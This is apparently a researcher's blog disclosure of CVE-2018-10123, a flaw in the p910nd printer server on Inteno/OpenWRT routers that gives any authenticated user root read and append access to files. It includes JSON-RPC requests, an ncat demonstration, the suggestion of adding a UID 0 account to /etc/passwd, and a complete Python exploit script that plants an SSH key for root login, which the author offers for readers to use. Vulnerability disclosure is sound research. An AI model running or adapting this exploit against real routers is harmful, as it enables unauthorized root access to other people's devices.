pwn910nd - abusing OpenWRT's printer server to become root
I have discovered yet another vulnerability in Inteno's IOPSYS firmware - but I believe this to affect all OpenWRT or LEDE based routers that ship with the printer server p910nd. Any authenticated user can modify the configuration for the printer server in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123.
I've written reports for vulnerabilities on Inteno's devices before (1, 2, 3). I recommend reading the first post as it describes how one can call functions on the router - including ones which may not be listed in the admin panel.
While looking through the configurations an authenticated user can modify, I noticed a section for p910nd. According to the OpenWRT wiki, it is a lightweight daemon responsible for basically being the gateway between a device connected to the router and a printer connected to the router. It is disabled by default, but can easily be enabled in the admin panel. By default, the section looks like this:
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","get",{config:"p910nd"}],"id":0}
< [...] {".anonymous": True, ".type": "p910nd", ".name": "cfg02f941", ".index": 0, "device": "/dev/usb/lp0", "port": "0", "bidirectional": "1", "enabled": "0"}
What intrigued me was the device
value. This makes sense in an administration perspective, but the average end user should not be able to change this. I was interested in what would happen if we pointed p910nd towards something else - perhaps a file? Having SSH access for testing purposes, I created a test file:
# cat > /tmp/test << EOF
> Testing123
> EOF
I enabled p910nd and changed device
to point to our newly created file:
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","set",{config:"p910nd",type:"p910nd",values:{enabled:"1",device:"/tmp/test"}}],"id":1}
> {"jsonrpc":"2.0","method":"call","params":["0123456789abcdefgh0123456789abcd","uci","commit",{config:"p910nd"}],"id":2}
As per the documentation, the service listens on port 9100. I used netcat
to connect to that port:
$ ncat 192.168.1.1 9100
Testing123
I was instantly greeted with the contents of the file. I modified the permissions on the test file to see whether we could could read files with root-only access:
# chmod 600 /tmp/test
# ls -al /tmp/test
-rw------- 1 root root 11 Apr 14 23:23 /tmp/test
Again, we could successfully read the file:
$ ncat 192.168.1.1 9100
Testing123
This makes sense, as the p910nd daemon runs as root on the system. The config also had a value called bidirectional
, which was set to 1
. Does this mean that we can write to files as well? I typed another test string within netcat
to see whether it would be appended to the file. I also pressed enter, to make sure that the string was being sent:
$ ncat 192.168.1.1 9100
Testing123
foobar
Checking whether the file changed at all:
# cat /tmp/test
Testing123
foobar
Indeed, even writing to files is possible! This enables an attacker to easily gain access to the system. For example, one could add a user to /etc/passwd
with UID 0 and a known password.
After a bit of testing, I also concluded that the file an attacker wished to write to had to already exist - simply changing the device
value to a nonexistant file did not create the file. However, an attacker could still just append to a script that gets executed as root and add whatever code they wish to have executed.
I wrote a proof of concept that appended a line to the /etc/init.d/p910nd
script, which on execution would overwrite /etc/dropbear/authorized_keys
with my SSH key, allowing me to easily SSH in as root. This script would get executed every time a change was committed through UCI, which uses it to restart the service. The script in action:
If you have an Inteno router with restricted access, you can use this PoC to add your own SSH key and log in as root. It may also work with other routers that have p910nd bundled and use the jsonrpc protocol to communicate - you may have to change the IP to also have /ubus
at the end. If it uses a different protocol, a different PoC is needed.
This PoC requires Python 3.6 and a module called websocket-client
which you can install by evoking pip install websocket-client
. First comment details usage instructions. As always, this exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices. The repository also includes an alternative version which simply drops to a root shell on the remote machine, bypassing any SSH key shenanigans.
#!/usr/bin/env python3
# Usage: cve-2018-10123.py <ip> <username> <password> <payload file>
# Details: https://neonsea.uk/blog/2018/04/15/pwn910nd.html
import json
import sys
import socket
import os
import time
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [
"00000000000000000000000000000000",
"session",
"login",
{"username": username, "password": password},
],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get("result")[1].get("ubus_rpc_session")
except IndexError:
return None
return key
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header=["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps(
{
"jsonrpc": "2.0",
"method": "call",
"params": [key, namespace, argument, params],
"id": 666,
}
)
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get("result")[1]
except IndexError:
if response.get("result")[0] == 0:
return True
return None
return result
def sendData(host, port, data=""):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(data.encode("utf-8"))
s.shutdown(socket.SHUT_WR)
s.close()
return None
def recvData(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
data = s.recv(1024)
s.shutdown(socket.SHUT_WR)
s.close()
return data
def getArguments():
if len(sys.argv) != 5:
print(f"Usage: {sys.argv[0]} <ip> <username> <password> <payload file>")
sys.exit(1)
else:
return sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
if __name__ == "__main__":
host, user, password, file = getArguments()
with open(file, "r") as f:
payload = f.read()
print("Authenticating...")
key = ubusAuth(host, user, password)
if not key:
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Enabling p910nd and setting up exploit...")
pwn910nd = ubusCall(
host,
key,
"uci",
"set",
{
"config": "p910nd",
"type": "p910nd",
"values": {
"enabled": "1",
"interface": "lan",
"port": "0",
"device": "/etc/init.d/p910nd",
},
},
)
if not pwn910nd:
print("Enabling p910nd failed!")
sys.exit(1)
print("Committing changes...")
p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
if not p910ndc:
print("Committing changes failed!")
sys.exit(1)
print("Waiting for p910nd to start...")
time.sleep(5)
print("Sending key...")
sendData(host, 9100, payload)
print("Triggerring exploit...")
print("Cleaning up...")
dis910nd = ubusCall(
host,
key,
"uci",
"set",
{
"config": "p910nd",
"type": "p910nd",
"values": {"enabled": "0", "device": "/dev/usb/lp0"},
},
)
if not dis910nd:
print("Exploit and clean up failed!")
sys.exit(1)
p910ndc = ubusCall(host, key, "uci", "commit", {"config": "p910nd"})
if not p910ndc:
print("Exploit and clean up failed!")
sys.exit(1)
print("Exploitation complete")